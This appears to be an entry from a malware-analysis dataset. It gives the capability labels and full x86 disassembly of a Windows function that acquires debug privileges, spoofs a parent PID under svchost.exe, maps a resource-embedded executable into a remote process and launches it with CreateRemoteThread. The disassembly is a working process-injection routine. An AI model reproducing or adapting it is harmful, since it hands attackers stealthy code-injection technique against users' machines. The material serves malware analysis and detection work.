Function at 0x401a50
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject thread
Resume thread
Spawn thread to rwx shellcode
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x98
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x94], eax
push esi
push edi
lea eax, [esp + 0x24]
mov byte [esp + 0xf], dl
push eax
push 0x28
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push ecx
mov ecx, dword [esp + 0x28]
mov edx, str.SeBackupPrivilege
call fcn.00401960
mov ecx, dword [esp + 0x28]
mov edx, str.SeDebugPrivilege
call fcn.00401960
add esp, 4
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0xf], 0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x401b86
push 0x48
lea eax, [esp + 0x54]
xorps xmm0, xmm0
push 0
push eax
movaps xmmword [esp + 0x3c], xmm0
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea eax, [esp + 0x34]
add esp, 0xc
push eax
push 0
push 1
push 0
call esi
push dword [esp + 0x28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [esp + 0x28]
mov dword [esp + 0x94], eax
push ecx
push 0
push 1
push eax
call esi
mov ecx, str.svchost.exe
call fcn.00401220
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x2c], eax
test eax, eax
je 0x401b52
push 0
push 0
push 4
lea eax, [esp + 0x38]
push eax
push 0x20000
push 0
push dword [esp + 0xac]
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea eax, [esp + 0x30]
mov dword [esp + 0x50], 0x48
push eax
lea eax, [esp + 0x54]
push eax
push 0
push 0
push 0x8000c
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [esp + 0x30]
mov dword [esp + 0x10], edi
jmp 0x401bab
mov ecx, edi
call fcn.00401220
test eax, eax
jne 0x401b97
push 1
call esi
jmp 0x401b86
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [esp + 0x10], eax
test edi, edi
je 0x401d70
push 0x4043a4
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x3000
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [esp + 0x28], esi
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [esp + 0x1c], eax
push dword [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [esp + 0x1c], 0
cmp ax, word [esi + 6]
jae 0x401c53
add esi, 0x10c
nop dword [eax]
mov eax, dword [esi]
add eax, dword [esp + 0x18]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x20]
lea esi, [esi + 0x28]
mov ecx, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x1c], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x401c20
push 0x20
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [esp + 0x14]
push 0
push 0xc
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x4c]
push eax
push edi
push dword [esp + 0x20]
mov dword [esp + 0x5c], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x60], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401640
lea esi, [edi + 0xc]
sub eax, 0x401500
push eax
push 0x401500
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
push 0
push 0
push edi
push esi
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
mov edi, dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [esp + 0x14], 0
je 0x401d70
push 4
push 0x3000
push 0x20c
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0x20c
push 0x407588
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x14]
mov ecx, edi
push 0
push 0
push esi
sub esp, 8
call fcn.004012e0
add esp, 8
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp byte [esp + 0xf], 0
jne 0x401d86
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x401d86
push dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x34]
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00402b21
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x9c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.00402b21
mov esp, ebp
pop ebp
ret